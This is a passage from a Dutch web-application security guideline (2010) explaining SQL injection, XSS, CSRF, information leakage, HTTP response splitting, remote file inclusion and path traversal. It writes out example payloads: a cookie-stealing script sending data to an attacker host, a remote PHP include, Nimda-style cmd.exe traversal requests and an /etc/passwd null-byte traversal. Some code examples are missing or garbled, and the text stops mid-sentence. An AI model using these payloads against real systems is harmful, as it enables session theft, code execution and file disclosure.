kwaadwillende door bij gebruikersnaam ‘1’ in te vullen en bij wachtwoord ‘x’ OR ‘1=1’. Hierdoor ontstaat de volgende query: SELECT FROM WHERE AND

* gebruikers gebruikersnaam = ‘1’ wachtwoord = ‘x’ OR ‘1=1’

Eén is vanzelfsprekend altijd gelijk aan één waardoor elk record uit de gebruikerstabel voldoet aan dit zoekcriterium. Dientengevolge zal het uitvoeren van het SQL-verzoek alle records uit de tabel als resultaat geven. Hierdoor concludeert de programmalogica dat het gebruikersnaam met dit wachtwoord voorkomt in de database en dat de gebruiker dus geautoriseerd is voor toegang tot de webapplicatie. OPMERKING Wanneer de applicatie geen verbinding met een database maar met een andere dataverzameling opzet, kan hetzelfde probleem zich ook op een andere manier manifesteren. Denk hierbij bijvoorbeeld aan misbruik van een verbinding tussen de webapplicatie en een LDAP-server (LDAP-injectie).

5.2.1.2. Error-based v.s. blind SQL-injectie Bij SQL-injectie wordt vaak het onderscheid gemaakt tussen ‘gewone’ (error-based) SQL-injectie en blind SQL-injectie. Het verschil zit hierbij niet zozeer in de kwetsbaarheid an sich, maar meer in het feit dat de webapplicatie in het ene geval meer informatie vrijgeeft dan in het andere geval. Een kwaadwillende zal altijd eerst proberen om de webapplicatie een foutmelding te laten genereren, om op die manier helder te krijgen of een webapplicatie kwetsbaar is voor SQL-injectie en zo ja, hoe de database is opgebouwd. Door de webapplicatie allerlei fouten te laten genereren, wordt het voor een kwaadwillende duidelijk dat er zich een SQL-injectiekwetsbaarheid in de webapplicatie bevindt. Door de injecties zelf steeds aan te passen, krijgt de kwaadwillende daarnaast een helder beeld van de opbouw van de database en de tabellen hierin. Bij blind SQL-injectie is dit niet het geval: hierbij genereert de webapplicatie geen duidelijke melding of überhaupt geen foutmelding. De kwaadwillende heeft dus geen duidelijk beeld van de resultaten van de SQL-injectie. Het zal de kwaadwillende in dit geval wellicht meer tijd kosten om de SQLinjectiekwetsbaarheid te vinden en vervolgens uit te buiten.

5.2.2. Cross-Site Scripting (XSS) Een kwaadwillende kan via een kwaadaardige website veelal willekeurige JavaScript (en andere scripts) uitvoeren op het systeem van een gebruiker. De kwaadwillende

Titel

Datum


4-11-2010

Pagina

65

heeft via deze scripts echter geen toegang tot mogelijk gevoelige informatie op het systeem van deze gebruiker, vanwege beperkingen die browsers opleggen aan de scripts die het uitvoert. Zo kan een kwaadwillende bijvoorbeeld nooit toegang krijgen tot de inhoud van cookies die niet gekoppeld zijn aan een ander domein dan het domein van de kwaadwillende (same origin policy), omdat de browser toegang tot deze gegevens niet toestaat. Via Cross-Site Scripting (XSS) is het echter mogelijk om deze beperkingen te omzeilen. Bij XSS slaagt een kwaadwillende erin om kwaadaardige JavaScript terug te laten komen in het antwoord van een vertrouwde website. Het antwoord van de website wordt hierbij met andere woorden deels bepaald door de invoer van de kwaadwillende. De kwaadwillende slaagt hierin als bij een website alle onderstaande zaken van toepassing zijn: • De website maakt gebruik maakt van de invoer vanaf de client: om de uitvoer van de website te kunnen manipuleren moet een kwaadwillende malafide JavaScript kunnen injecteren via invoer naar de website. • De website voert geen of onvoldoende controles uit op deze invoer. • De website voert geen of onvoldoende controles uit op het antwoord dat deze terugstuurt aan de client. Onderstaand voorbeeld illustreert een mogelijke XSS-kwetsbaarheid in een webapplicatie. VOORBEELD Een webapplicatie biedt de mogelijkheid om informatie over producten van een organisatie te raadplegen. Hiertoe maakt de webapplicatie gebruik van de query parameter productid in de URL: http://www.uuerel.nl/toonproduct.asp?productid=200

Op basis van het productid haalt de webapplicatie de benodigde informatie op uit de database en toont deze aan de gebruiker. Indien het betreffende ID niet in de database aanwezig is, genereert de webapplicatie de volgende foutmelding in HTML:
Fout: product ‘$productid’ is niet aanwezig in de database

Wanneer de webapplicatie het productid niet valideert, kan een reflected XSSkwetsbaarheid optreden aangezien de aanvaller in dit geval controle heeft over de opdrachten die de webserver terugstuurt naar de client. Neem bijvoorbeeld onderstaande aanroep:

Titel

Datum


4-11-2010

Pagina

66

http://www.uuerel.nl/ toonprodukt.asp?productid=<script>alert(‘a’);

Aangezien het productid ‘<script>alert(‘a’);’ niet voorkomt in de database, zal de webapplicatie in dit geval de volgende foutmelding terugsturen richting de client:
Fout: product ‘<script>alert(‘a’);’ is niet aanwezig in de database

Bovenstaande HTML-code zal ertoe leiden dat de browser van de gebruiker de beschreven JavaScript-code uitvoert. De kwaadwillende kan XSS-kwetsbaarheden misbruiken om gevoelige informatie, zoals een sessie-ID, van een gebruiker te achterhalen. Grofweg bestaan er drie soorten XSS: reflected XSS, stored XSS en DOM-based XSS. Bij reflected XSS stuurt een kwetsbare webapplicatie de invoer van een gebruiker zonder voldoende controles direct terug richting de gebruiker. Het eerder beschreven voorbeeld is een reflected XSS kwetsbaarheid. Figuur 5-2 geeft weer hoe reflected XSS in zijn werk gaat.

Figuur 5-2: reflected XSS

Titel

Datum


4-11-2010

Pagina

67

Zoals figuur 5-2 duidelijk maakt, moet een kwaadwillende een gebruiker eerst naar een bonafide website lokken (stap 1). Vaak gebeurt dit via een e-mail maar er bestaan ook andere mogelijkheden zoals instant messaging (IM). Zodra de gebruiker reageert op het bericht van de kwaadwillende, maakt deze gebruiker verbinding met de bonafide website (stap 2). De link die de gebruiker hierbij volgt is de link waarin zich, door de kwaadwillende geïnjecteerde, JavaScript bevindt. De bonafide website accepteert het verzoek van de gebruiker en stuurt vervolgens het malafide JavaScript terug aan de gebruiker (stap 3). De browser van de gebruiker voert de kwaadaardige acties uit het JavaScript uit, waarna informatie van de gebruiker terecht komt bij de kwaadwillende (stap 4). Wil de kwaadwillende bijvoorbeeld een sessie-ID bemachtigen door het gebruik van reflected XSS, dan is het voor de kwaadwillende wel van belang dat de gebruiker op het moment van openen van de link beschikt over een geldige sessie met de bonafide website. Heeft de gebruiker deze sessie niet, dan zal de aanval van de kwaadwillende niet slagen. De kwaadwillende kan een XSS kwetsbaarheid ook voor andere doeleinden misbruiken. Bijvoorbeeld voor het redirecten van de gebruiker naar een andere malafide website. In dit geval hoopt de kwaadwillende dat het feit dat de URL vertrouwd lijkt, ervoor zorgt dat de gebruiker erop zal klikken. VOORBEELD Voorbeelden van websites die kwetsbaar zijn voor XSS verschijnen vrijwel dagelijks in het nieuws. Vooral als het een website betreft die vertrouwelijke gegevens bevat en een authenticatiemechanisme kent, is de aanwezigheid van deze kwetsbaarheid gevaarlijk. Zo bleek in 2009 bijvoorbeeld het energieportal van Eneco kwetsbaar voor meerdere XSS-kwetsbaarheden. De website vereiste authenticatie van eindgebruikers (met name grote niet-particuliere klanten). Door de kwetsbaarheden bestond de kans dat kwaadwillenden authenticatiegegevens van deze gebruikers konden verzamelen. Zie voor meer informatie: http://webwereld.nl/nieuws/58614/eneco-site-voor-slimme-energiemeters-lek.html Als het doel van de kwaadwillende is om gevoelige informatie te onderscheppen via reflected XSS, dan moeten er wel een aantal drempels worden overwonnen: de kwaadwillende moet erin slagen om de gebruiker een malafide link te laten openen en de gebruiker moet precies op dat moment een sessie met een website hebben opgebouwd om vertrouwelijke informatie te kunnen achterhalen. Daarom maken kwaadwillenden liever gebruik van een andere vorm van XSS: stored XSS. Bij stored XSS slaat de webapplicatie onbedoeld malafide JavaScript op in de database en verwerkt de applicatie deze JavaScript in antwoorden aan willekeurige gebruikers. Figuur 5-3 illustreert het proces bij stored XSS. .

Titel

Datum


4-11-2010

Pagina

68

Figuur 5-3: stored XSS

Stored XSS is een stuk gevaarlijker dan reflected XSS omdat de malafide JavaScript altijd sluimerend aanwezig is in de database. Zodra een gebruiker een verzoek doet aan de bonafide website, bestaat altijd de mogelijkheid dat de webserver de malafide JavaScript retourneert aan de gebruiker. Voor een kwaadwillende heeft dit een aantal voordelen boven reflected XSS: ten eerste hoeft de kwaadwillende er niet voor te zorgen dat de gebruiker met een bepaalde link, waarin de JavaScript is verwerkt, naar de bonafide website gaat. Daarnaast hoeft de kwaadwillende ook niet bang te zijn dat de gebruiker op het moment van uitvoeren van het JavaScript geen sessie met de webserver heeft. Immers, het feit dat de gebruiker een pagina op de website opent, betekent dat deze gebruiker een valide sessie met deze website heeft. Een vreemde eend in de bijt van XSS-kwetsbaarheden is DOM-based XSS. Het belangrijkste verschil met reflected en stored XSS is, dat de webserver een DOMbased XSS-aanval nooit zal kunnen detecteren. Dit komt omdat de kwetsbaarheid ontstaat wanneer JavaScript op de client bepaalde (voor de server niet zichtbare) onderdelen van een webpagina (bijvoorbeeld de URL) niet goed verwerkt. Een populair voorbeeld van DOM-based XSS betreft de manipulatie van een URL middels een hashteken. Stel bijvoorbeeld dat een website verschillende talen ondersteunt en de door de gebruiker gekozen taal opslaat in de language queryparameter. Een verzoek naar de website kan er dan als volgt uitzien:

Titel

Datum


4-11-2010

Pagina

69

http://www.uuerel.nl/home.aspx?language=nl Deze parameter wordt gebruikt binnen het volgende stuk JavaScript: <script language="javascript"> lang_index = document.location.href.indexOf("language="); language = document.location.href.substring(lang_index + 9); document.write("Selected language is " + decodeURIComponent(language)); Een constructie zoals hierboven beschreven, is kwetsbaar voor een DOM-based XSSaanval. Het script maakt namelijk gebruik van de language parameter voor het dynamisch genereren van een onderdeel van de pagina. Door de language parameter aan te passen, kun je een XSS-aanval uitvoeren. Door tevens het vraagteken (‘?’) in de URL te vervangen door een hash (‘#’), kan een aanvaller tevens voorkomen dat de malafide parameter zichtbaar wordt op de server. Een hash gebruikt men binnen een browser om te refereren naar een bepaald onderdeel van een pagina en deze invoer stuurt een browser normaal gesproken niet mee naar een webserver. Een verzoek als hieronder zal dus leiden tot een succesvolle DOM-based XSS-aanval: http://www.uuerel.nl/home.aspx#language=<script>alert(‘!’); Wanneer de getoonde JavaScript bovenstaande URL zou verwerken, genereert de browser onderstaande HTML: Selected language is <script>alert(‘!’);

5.2.3. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRFof XSRF-) kwetsbaarheden ontstaan wanneer een website onvoldoende autorisatiecontroles uitvoert op een bepaalde transactie. Hierdoor kan het gebeuren dat een gebruiker onbedoeld een transactie uitvoert op een website waarmee deze gebruiker een sessie heeft. Misbruik vindt als volgt plaats: de gebruiker bezoekt een malafide of geïnfecteerde website en krijgt via deze website een link aangeboden naar een andere website waarmee de gebruiker een sessie heeft en die de kwaadwillende wil aanvallen. De gebruiker merkt hier vaak niets van, maar onder water vindt een transactie plaats vanuit de browser van de gebruiker naar een website waar de gebruiker zich mogelijk eerder heeft geauthenticeerd.

Titel

Datum


4-11-2010

Pagina

70

Het volgende voorbeeld illustreert een CSRF-kwetsbaarheid in een willekeurige website. Deze website stelt gebruikers in staat om hun e-mailadres te wijzigen. Voordat een gebruiker zijn/haar e-mailadres kan wijzigen, moet de gebruiker eerst inloggen op de website. Voor het wijzigen van het e-mailadres moet de gebruiker een valide cookie aanbieden waarin een geldig sessie-ID is opgenomen. De URL voor het wijzigen van het e-mailadres van de gebruiker is de volgende: http://www.uuerel.nl/[email protected] Een kwaadwillende kan via een malafide website e-mailadressen van willekeurige gebruikers wijzigen naar het e-mailadres van de kwaadwillende ([email protected]). Hiertoe neemt de kwaadwillende de volgende HTML-code op in zijn website: Wanneer gebruikers de malafide website openen, zal de browser van de gebruiker automatisch proberen om een afbeelding te laden (img) met als bron het e-mail wijzigingscript op www.uuerel.nl. Uiteraard zal dit niet resulteren in een valide afbeelding, maar dat is voor de aanval niet van belang. De browser van de gebruiker zal echter de link openen en automatisch een beschikbaar cookie meesturen. Dit is voldoende om het e-mailadres te wijzigen naar het e-mailadres van de kwaadwillende. Gebruikers zullen niet merken dat hun e-mailadres is gewijzigd. Bovendien heeft de aanvaller de afbeelding een grootte van 1x1 pixel (width=1 en height=1) gegeven. Alleen zeer oplettende gebruikers zullen een kleine zwarte punt in beeld zien. Om de beschreven aanval succesvol te laten zijn voor een kwaadwillende, moet aan een aantal voorwaarden zijn voldaan: • De gebruiker moet op het moment van het bezoeken van de malafide website beschikken over een geldig cookie voor authenticatie tot de website. De gebruiker moet dus in een eerder stadium zijn ingelogd op de website die de kwaadwillende aanvalt. • De CSRF-kwetsbaarheid moet aanwezig zijn in een onderdeel van de website dat interessant genoeg is voor een aanvaller. Het wijzigen van een e-mailadres kan waardevol zijn voor een aanvaller maar dit hoeft zeker niet zo te zijn. • Tenslotte moet de aanvaller erin slagen om gebruikers naar de malafide website te lokken.

Titel

Datum


4-11-2010

Pagina

71

5.2.4. Lekken van informatie Webservers en webapplicaties kunnen op allerlei manieren technische informatie over zichzelf ‘lekken’ 22. Deze informatie kan een kwaadwillende helpen om een beeld te krijgen van de omgeving waarin de webapplicatie zich bevindt. De kwaadwillende kan bijvoorbeeld bepalen of de webapplicatie gebruik maakt van kwetsbare software. Het vervolg van deze paragraaf beschrijft enkele van de meest voorkomende manieren waarop webapplicaties informatie lekken.

5.2.4.1. Uitgebreide foutmeldingen Fouten in webapplicaties zullen zich altijd voordoen. Wat van belang is, is hoe de webapplicatie met deze fouten omgaat. Sommige webapplicaties leveren bij het optreden van een foutsituatie allerlei informatie aan over de achtergrond(en) van de fout. Figuur 5-4 toont een dergelijke foutmelding.

Figuur 5-4: voorbeeld van een uitgebreide foutmelding

Een uitgebreide foutmelding kan een kwaadwillende helpen om meer inzicht te krijgen in de programmalogica van een webapplicatie. Een foutmelding vertelt vaak iets over de gebruikte database, het uitgevoerde SQL-verzoek of het aangeroepen bestand. Al deze informatie draagt bij aan kennisvorming van de kwaadwillende over de infrastructuur. Stel bijvoorbeeld dat een webapplicatie een SQL-injectie kwetsbaarheid

22

Het gaat hier dus niet om mogelijk vertrouwelijke informatie uit een database maar over informatie over de gebruikte technieken/technologieën op de server. Het lekken van vertrouwelijke informatie uit de database is een kwetsbaarheid op de laag ‘Vertrouwelijkheid en onweerlegbaarheid’ van het RBW.

Titel

Datum


4-11-2010

Pagina

72

(§5.2.1) bevat. Als de kwaadwillende erin slaagt om een foutmelding te forceren met daarin de beschrijving van een SQL-verzoek dat mislukt, dan heeft hij voldoende informatie om met andere (soortgelijke) SQL-verzoeken te gaan experimenteren. De kwaadwillende heeft op dat moment bijvoorbeeld kennis van attribuutnamen, tabelnamen, databasenamen, etcetera. OPMERKING Het ontstaan van foutmeldingen kun je deels wijten aan het onvoldoende controleren op invoer van gebruikers. Een foutmelding ontstaat namelijk in veel gevallen doordat zich een bijzondere situatie voordoet binnen de programmalogica. Deze uitzondering kan ontstaan doordat bijvoorbeeld een verwachte verbinding met een database niet beschikbaar is of omdat de webapplicatie niet goed weet om te gaan met ‘afwijkende’ invoer: de applicatie krijgt bijvoorbeeld een string te verwerken terwijl het een getal verwacht.

5.2.4.2. Header-informatie HTTP-headers kunnen veel informatie bevatten over de webapplicatie en de software waarvan de webapplicatie gebruik maakt. Eén van de bekendste HTTP-headers die informatie vrijgeeft, is de ‘Server’-header. In veel gevallen zal de webserver via deze header informatie geven over het type webserver waar de pagina van afkomstig is. In sommige gevallen bevat deze header echter nog veel meer informatie. Figuur 5-5 geeft een voorbeeld van een dergelijke header.

Figuur 5-5: voorbeeld van HTTP-header informatie

In figuur 5-5 is een voorbeeld opgenomen van de headers die een webserver teruggeeft na het opvragen van een webpagina. De webserver toont niet alleen de gebruikte webserver-versie (Apache/1.3.27 op Red Hat Linux) maar ook de gebruikte versies van OpenSSL en PHP. Op basis van deze informatie kan een kwaadwillende zeer gerichte aanvallen uitvoeren op de webserver.

Titel

Datum


4-11-2010

Pagina

73

5.2.4.3. Commentaarregels in scripts Commentaarregels in code kunnen ongewild informatie vrijgeven. Vooral HTML-code en ‘client-side scripts’ (zoals JavaScript) bevatten vaak commentaar. Commentaarregels zijn niet altijd problematisch. In sommige gevallen bevat commentaar echter ‘een geheugensteuntje’ voor programmeurs en vergeten zij deze informatie te verwijderen zodra een webapplicatie in productie gaat. Figuur 5-6 geeft een zeer eenvoudig voorbeeld van commentaar in JavaScript - in een inlogpagina - dat een kwaadwillende kan lezen en misbruiken.

Figuur 5-6: voorbeeld van commentaarregels die veel informatie onthullen

5.2.5. HTTP response splitting Zoals in hoofdstuk 2 al werd beschreven, werkt HTTP met vraag- en antwoordberichten. Bij het bezoeken van een website stuurt een browser diverse vragen (HTTP-verzoeken) aan een webserver die de webserver vervolgens beantwoordt. Eén vraag leidt daarbij normaal gesproken tot maximaal één antwoord. Bij HTTP response splitting aanvallen is dit niet het geval. Doordat de webapplicatie onvoldoende validatie van gebruikersinvoer uitvoert, geeft deze webapplicatie niet alleen het eigen antwoord terug, maar ook het antwoord dat in de gebruikersinvoer werd meegegeven. Zo is het mogelijk dat één HTTP-verzoek leidt tot meerdere logische HTTP-antwoorden. Dit is mogelijk op het moment dat de webapplicatie ongevalideerde gebruikersinvoer rechtstreeks gebruikt in een HTTP response header. Stel bijvoorbeeld dat een applicatie de door de gebruiker gekozen taal verwerkt in een cookie, nadat de gebruiker dit via een pagina op de website heeft ingesteld:

Titel

Datum


4-11-2010

Pagina

74

http://www.uuerel.nl/changelang.aspx?language=nl De webapplicatie gebruikt de waarde van de queryparameter language en instrueert vervolgens via een ‘Set-Cookie’ header de client om deze waarde in een cookie op te slaan. Het hierboven getoonde voorbeeld zou kunnen leiden tot de volgende response van de webserver: HTTP/1.x 200 OK\r\n Date: Wed, 28 Oct 2009 11:58:30 GMT\r\n Server: Apache\r\n Set-Cookie: language=nl\r\n Content-Type: text/html\r\n \r\n […] De webapplicatie stuurt de invoer van de gebruiker (vetgedrukt weergegeven in rood) terug als inhoud van de HTTP-header ‘Set-Cookie’. Merk ook op dat het antwoord van de webserver meerdere carriage returns (\r) en line feeds (\n) bevat die de verschillende onderdelen van het HTTP-antwoord van elkaar scheiden. Een kwaadwillende kan bovenstaand voorbeeld misbruiken om een HTTP response splitting aanval uit te voeren op de applicatie. Stel bijvoorbeeld dat een kwaadwillende de volgende invoer meegeeft aan de language queryparameter: nl%0d %0a %0d%0aHTTP%2f1.x+302+Found %0d%0aDate%3a+Wed,+28+Oct+2009 11%3a58%3a30+GMT %0d%0aServer%3a+Apache+%0d%0aLocation%3a http%3a%2f%2fwww.drevil.com%2fhahaha.aspx %0d%0a Merk op dat de kwaadwillende in zijn invoer veelvuldig gebruik van carriage returns (%0d) en line feeds (%0a). Aangezien de webapplicatie deze invoer één-op-één opneemt in het cookie, zal de webserver het volgende antwoord retourneren: HTTP/1.x 200 OK\r\n Date: Wed, 28 Oct 2009 11:58:30 GMT\r\n Server: Apache\r\n Set-Cookie: language= nl\r\n \r\n HTTP/1.x 302 Found\r\n Date: Wed, 28 Oct 2009 11:58:30 GMT\r\n Server: Apache\r\n Location: http://www.drevil.com/hahaha.aspx\r\n

Titel

Datum


4-11-2010

Pagina

75

\r\n Content-Type: text/html\r\n \r\n […] Zoals blijkt uit bovenstaand voorbeeld bevat het antwoord in principe twee logische HTTP-antwoorden: één met response code 200 (OK) en één met response code 302 (Found). Browsers zullen over het algemeen gebruik maken van het eerste antwoord maar proxies slaan vaak het laatste antwoord tijdelijk op. Wanneer een proxy een antwoord zoals hierboven afhandelt, bestaat de kans dat gebruikers die dezelfde URL als de aanvaller benaderen, het ‘302 antwoord’ krijgen en hierdoor worden geredirect naar de website van de aanvaller. Dit maakt het bijvoorbeeld mogelijk om phishingaanvallen uit te voeren via vervuilde proxies. Aangezien de aanvaller de controle heeft over de inhoud die de webserver retourneert, is het ook mogelijk om via de beschreven kwetsbaarheid XSS-aanvallen en ‘virtual defacements’ uit te voeren. Bij een XSS-aanval geeft een aanvaller bijvoorbeeld onderstaande invoer mee aan de language parameter: nl%0d%0a%0d%0a%3cscript%3edocument.write(“%3cimg+src%3dhttp%3a%2f%2fww w.drevil.com%2fevil%2flog.pl%3f”%2bdocument.cookie%2b”+width%3d1+heigh t%3d1%3e”)%3c%2fscript%3e Bovenstaande invoer resulteert in onderstaand antwoord van de webserver: HTTP/1.x 200 OK\r\n Date: Wed, 28 Oct 2009 11:58:30 GMT\r\n Server: Apache\r\n Set-Cookie: language= nl\r\n \r\n <script>document.write(“”)\r\n Content-Type: text/html\r\n \r\n […] Door de beschreven JavaScript te injecteren in de webapplicatie, kan de kwaadwillende inzicht krijgen in de cookies die de gebruiker voor deze specifieke website in bezit heeft.

Titel

Datum


4-11-2010

Pagina

76

Zoals uit de voorbeelden is gebleken moet de kwaadwillende veel karakters URLcoderen. Het is altijd de vraag hoe een webserver met dergelijke invoer omgaat. Of een HTTP response splitting kwetsbaarheid altijd eenvoudig is uit te buiten, is daarom ook afhankelijk van een aantal moeilijk te voorspellen factoren. Toch is het altijd aan te raden om uitgebreide validatie van gebruikersinvoer uit te voeren om een probleem als dit te voorkomen.

5.2.6. Remote File Inclusion (RFI) Remote File Inclusion (RFI) is een kwetsbaarheid die zich alleen voordoet op webservers die gebruik maken van dynamische file includes onder PHP. Wanneer een dergelijke website kwetsbaar is voor RFI, kan een kwaadwillende zijn eigen code door de server laten uitvoeren. RFI is mogelijk op het moment dat een pagina op een webserver de volgende kenmerken heeft: • • • •

De pagina is geschreven in PHP. De pagina maakt gebruik van andere PHP-scripts via een include (of een andere vergelijkbare functie). Gebruikersinvoer bepaalt de naam van de scripts waarvan de pagina gebruik maakt. PHP staat URL includes toe (allow_url_include = ‘On’).

Stel bijvoorbeeld dat een website meerdere talen ondersteunt en dat de gekozen taal als queryparameter is opgenomen in de URL: http://www.uuerel.nl/index.php?language=nl De language parameter bepaalt welk script de pagina zal gebruiken. Op die manier is het bijvoorbeeld mogelijk om eenvoudig een meertalige website te ondersteunen. Voor het importeren van een PHP-script maakt een in PHP ontwikkelde pagina gebruik van het volgende PHP statement: include ($language . ".php"); Kiest een gebruiker dus als taal voor Nederlands (nl), dan zal de website automatisch gebruik maken van het bestand nl.php. Als de ontwikkelaar echter geen validatie heeft uitgevoerd van de $language variabele, is het mogelijk om elk willekeurig script te importeren, zelfs scripts die zich niet op de webserver zelf bevinden. Stel bijvoorbeeld dat een aanvaller de volgende URL aanroept: http://www.uuerel.nl/index.jsp?language=http://www.drevil.com/evil

Titel

Datum


4-11-2010

Pagina

77

In het bovenstaande geval zal de pagina automatisch het PHP-script http://www.drevil.com/evil.php importeren en gebruiken. Op die manier heeft de kwaadwillende de volledige controle over de acties die de website uitvoert en vertrouwt de website de code van de aanvaller. De aanvaller kan hiermee scripts uitvoeren in de context van de server. Dit stelt een aanvaller bijvoorbeeld in staat om via zijn script een verbinding te leggen met de database achter de website. Of een aanval zoals hierboven beschreven succesvol is, hangt ook af van de configuratie van de webserver. Als de PHP-optie allow_url_include bijvoorbeeld is ingesteld op de waarde 'Off', zal PHP het importeren van een PHP-script vanaf een externe locatie niet toestaan en zal het moeilijker zijn om deze RFI-kwetsbaarheid uit te buiten. Wel is het in dat geval nog steeds mogelijk om willekeurige lokale bestanden op de server (bijvoorbeeld /etc/passwd) te laten importeren door het script. OPMERKING In het voorbeeld dat in deze paragraaf is opgenomen, wordt gebruik gemaakt van de include() functie van PHP. Besef goed dat ook soortgelijke functies in PHP (include_once(), require() en require_once()) op dezelfde manier kunnen leiden tot RFI-kwetsbaarheden. Ook als de webserver zelf geen verbinding met internet kan opzetten, is het nog steeds mogelijk een RFI-kwetsbaarheid uit te buiten. Hiervoor kan een kwaadwillende bijvoorbeeld gebruik maken van een base64 data include. Dit gaat als volgt in zijn werk: Een kwaadwillende wil onderstaande PHP-code injecteren in de webapplicatie: Hiertoe zet de kwaadwillende bovenstaande code eerst om in een base64 gecodeerd equivalent: PD9waHAgZWNobyCTUDBud2QhlDsgPz4= Vervolgens manipuleert de kwaadwillende de URL van de applicatie zodanig dat de applicatie de base64 gecodeerde string gebruikt in een include: http://www.uuerel.nl/index.jsp? language=data:;base64,PD9waHAgZWNobyCTUDBud2QhlDsgPz4=

Titel

Datum


4-11-2010

Pagina

78

Aangezien de webapplicatie geen controle uitvoert op de invoer zal deze de inhoud van de queryparameter language rechtstreeks gebruiken in het PHP script, waardoor de volgende include ontstaat: include ("data:;base64,PD9waHAgZWNobyCTUDBud2QhlDsgPz4=.php"); PHP zal de base64 gecodeerde string decoderen en vervolgens uitvoeren. Het feit dat de applicatie de extensie .php toevoegt aan de string maakt in dit geval niet uit.

5.2.7. Path traversal Een webserver kent altijd een webroot waar vandaan de webserver alle bestanden voor een bepaalde webapplicatie ‘serveert’. Het idee is dat gebruikers alleen toegang hebben tot bestanden onder de webroot en niet tot bestanden die zich in andere directories van het systeem bevinden. In sommige gevallen is het voor kwaadwillenden echter mogelijk om bestanden buiten de webroot te benaderen. We spreken in dit geval van een path traversal kwetsbaarheid. Path traversal kwetsbaarheden kunnen zich op twee niveaus voordoen: op het niveau van de webserver en op het niveau van de webapplicatie.

5.2.7.1. Path traversal kwetsbaarheden in webservers Path traversal kwetsbaarheden komen tegenwoordig niet vaak meer voor in webservers. Dit type kwetsbaarheid was voornamelijk aanwezig in oudere versies van webservers. Zo maakte aan het begin van deze eeuw de Nimda-worm misbruik van path traversal kwetsbaarheden in Microsoft IIS (zie bijvoorbeeld MS00-07823). Een overzicht van de aanroepen die Nimda deed 24, geeft een aardig beeld van de manieren waarop een path traversal kwetsbaarheid kan worden misbruikt: GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir 23 24

http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx http://www.cert.org/advisories/CA-2001-26.html

Titel

Datum


4-11-2010

Pagina

79

GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

De Nimda-voorbeelden laten zien dat er veel verschillende manieren bestaan om een command prompt onder Windows te openen. Nimda maakte voornamelijk gebruik van het (dubbel) coderen van speciale karakters, om op die manier toegang te krijgen tot de command prompt. Zo verwerkte Microsoft IIS de volgende URL: GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir

als de volgende URL: GET /scripts/..\../winnt/system32/cmd.exe?/c+dir

Dit kon leiden tot een succesvolle aanroep van cmd.exe waarbij de aanvaller een directory listing te zien kreeg. Hoewel dit niet direct ernstig hoeft te zijn, was deze aanval alleen bedoeld om te controleren of de server kwetsbaar was. Eenmaal geïdentificeerd als kwetsbare server kon verdere compromittering van de server plaatsvinden.

5.2.7.2. Path traversal kwetsbaarheden in webapplicaties De problemen die sommige webservers hadden met het normaliseren en verwerken van speciaal opgemaakte bestandsnamen, kunnen uiteraard ook voorkomen in de webapplicatie zelf. De mogelijkheid bestaat bijvoorbeeld dat een webapplicatie voor het bepalen van een bestandsnaam gebruik maakt van de invoer van een gebruiker. Stel bijvoorbeeld dat een organisatie via haar website de mogelijkheid biedt om productdocumentatie te downloaden. Deze productdocumentatie is ondergebracht in een aparte directory onder de webroot: /docs/. Daarnaast is de naam van de documenten gebaseerd op het productnummer van het specifieke product. Zo is documentatie over het product met ID ‘1234’ terug te vinden in het document /docs/1234.pdf. Via een URL als hieronder is het mogelijk om documentatie over producten op te vragen: http://www.uuerel.nl/products/details.jsp?id=1234

Titel

Datum


4-11-2010

Pagina

80

De webapplicatie leest eerst de id parameter in en construeert vervolgens de bestandsnaam op basis van deze id. De webapplicatie leest vervolgens het betreffende bestand in, en retourneert dit vervolgens aan de gebruiker. Dit doet de webapplicatie via een aanroep zoals hieronder weergegeven: $docroot = “/usr/www/docs/”; $bestand = getParameter(“id”) . “pdf”; $contents = readFile ($bestand); write ($contents);

Aangezien de webapplicatie geen validatie uitvoert van het id, bestaat de mogelijkheid om de inhoud van willekeurige bestanden op te vragen door het manipuleren van de id parameter. Stel bijvoorbeeld dat een aanvaller de inhoud van het /etc/passwd wil inzien en daarvoor de volgende URL aanroept: http://www.uuerel.nl/products/details.jsp?id=..%2f..%2f..%2fetc%2fpasswd

Doordat de webapplicatie de extensie .pdf toevoegt aan het id, zal deze aanroep resulteren in het openen van het bestand /usr/www/docs/../../../etc/passwd.pdf wat na normalisatie /etc/passwd.pdf wordt. Dit zou betekenen dat het voor een aanvaller niet mogelijk is om bestanden te openen die geen .pdf extensie hebben. Echter, het gebruik van het NULL-karakter (%00) kan ertoe leiden dat een applicatie alle invoer na dit karakter negeert. Met andere woorden, als een kwaadwillende onderstaande URL aanroept, bestaat de kans dat de webapplicatie de .pdf toevoeging negeert en de inhoud van het /etc/passwd bestand toont: http://www.uuerel.nl/products/details.jsp?id=..%2f..%2f..%2fetc%2fpasswd%00

Op eenzelfde manier kan een kwaadwillende alle bestanden op het systeem raadplegen waarvoor het account waaronder de webserver draait, toegang heeft.

5.2.8. Command-injectie Command-injectie houdt in dat een kwaadwillende in staat is om commando’s uit te voeren op het niveau van het besturingssysteem. Dit kan gebeuren op het moment dat de webapplicatie OS-commando’s aanroept en daarbij gebruik maakt van ongevalideerde invoer van de gebruiker. Een eenvoudig voorbeeld helpt dit te verduidelijken. Stel bijvoorbeeld dat een gebruiker voorwaarden moet accepteren voordat hij bepaalde zaken van de website mag downloaden. Om gebruikers uit verschillende landen te kunnen bedienen, is besloten om deze voorwaarden in

Titel

Datum


4-11-2010

Pagina

81

